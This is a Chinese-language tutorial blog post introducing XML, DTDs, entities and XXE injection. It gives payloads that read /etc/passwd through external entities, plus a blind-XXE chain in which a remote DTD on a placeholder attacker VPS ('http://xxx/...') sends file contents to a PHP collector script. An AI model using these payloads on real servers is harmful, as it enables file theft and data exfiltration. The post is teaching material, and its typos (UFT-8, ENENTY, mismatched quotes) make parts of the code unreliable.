初探XXE漏洞攻击
XXE全称为XML外部实体注入。
# XML基础
# XML
XML被设计用来传输和存储数据,注重于数据的内容,把数据从HTML分离,是独立于软件和硬件的信息传输工具。
# XML的文档结构
XML文档结构包括XML声明,DTD文档类型定义,文档元素。
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>
<!--文档类型定义-->
<!DOCTYPE msg [
<!ELEMENT message (msg1,msg2,msg3,msg4)> <!--定义XML的根元素是message,其下有四个子元素msg1,msg2···-->
<!ELEMENT msg1 (#PCDATA)>
<!ELEMENT msg2 (#PCDATA)>
<!ELEMENT msg3 (#PCDATA)>
<!ELEMENT msg4 (#PCDATA)>
]>
1
2
3
4
5
6
7
8
9
10
11
2
3
4
5
6
7
8
9
10
11
对于这种DTD定义方式,XML文档就必须是如下格式:
<message>
<msg1>This is msg1</msg1>
<msg2>This is msg2</msg2>
<msg3>This is msg3</msg3>
<msg4>This is msg4</msg4>
</message>
1
2
3
4
5
6
2
3
4
5
6
# 什么是DTD
文档类型定义(DTD)可以定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD可以被成行的声明于XML文档中(内部引用),也可作为外部引用。
内部声明DTD:
<!DOCTYPE 根元素 [元素声明]>
1
引用外部DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">
1
关键字如下:
- DOCTYPE :DTD声明
- ENTITY:实体声明
- SYSTEM、PUBLIC:外部资源申请
# 实体
实体可以理解为变量,必须在DTD中定义声明,才可以在文档中的其他位置引用该实体的值。
实体的分类:
- 通用实体
- 参数实体
或者根据引用的方式,还可以分为:
- 内部实体
- 外部实体
内部实体:
<!ENTITY 实体名称 “实体的值”>
1
外部实体:
<!ENENTY 实体名称 SYSTEM “URI”>
1
参数实体:
<!ENTITY % 实体名称 “实体的值”>
或者
<!ENTITY % 实体名称 SYSTEM “URI‘>
1
2
3
2
3
注意:参数实体实在DTD中被引用的,而外部实体实在xml中被引用的。
# XXE
当允许引用外部实体的时候,通过构造恶意内容,就可导致读取任意文件,执行系统命令,内网探测等等危害。
引入外部实体方式1:
<?xml version="1.0" encoding="UFT-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<username>&xxe;</username>
<password>123</password>
</user>
1
2
3
4
5
6
7
8
2
3
4
5
6
7
8
引用外部实体方式2:
<?xml version="1.0" encoding="UFT-8"?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "http://xxx/xxx.dtd">
%a;
]>
<user>
<username>&xxe;</username>
<password>123</password>
</user>
1
2
3
4
5
6
7
8
9
2
3
4
5
6
7
8
9
引用的xxx.dtd文件中的内容:
<!ENTITY xxe SYSTEM "file:///etc/passwd">
1
另外,对于引用外部资源所支持的协议如下:
还有PHP支持的扩展协议:
# Blind XXE
当服务器没有回显的时候,可以使用Blind XXE通过远程VPS来带出数据。
···
<! ENTITY % remote SYSTEM “http://xxx/1.dtd”>
<! ENTITY % file SYSTEM “file:///etc/passwd”>
%remote;
%test;
%send;
···
1
2
3
4
5
6
7
2
3
4
5
6
7
1.dtd中的内容
<! ENTIEY %test “<! ENTITY %send SYSTEM “http://xxx/1.php?file=%file”>”>
1
1.php中的内容
<?php
file_put_contents(‘1.txt’,$_GET[‘file’]);
1
2
2
利用过程
- 通过remote参数远程请求到1.dtd
- 利用test参数获取到1.dtd中的send参数
- 利用send参数将file参数传入到远程VPS的1.php中
- 远程VPS的1.txt获取到/etc/passwd中的内容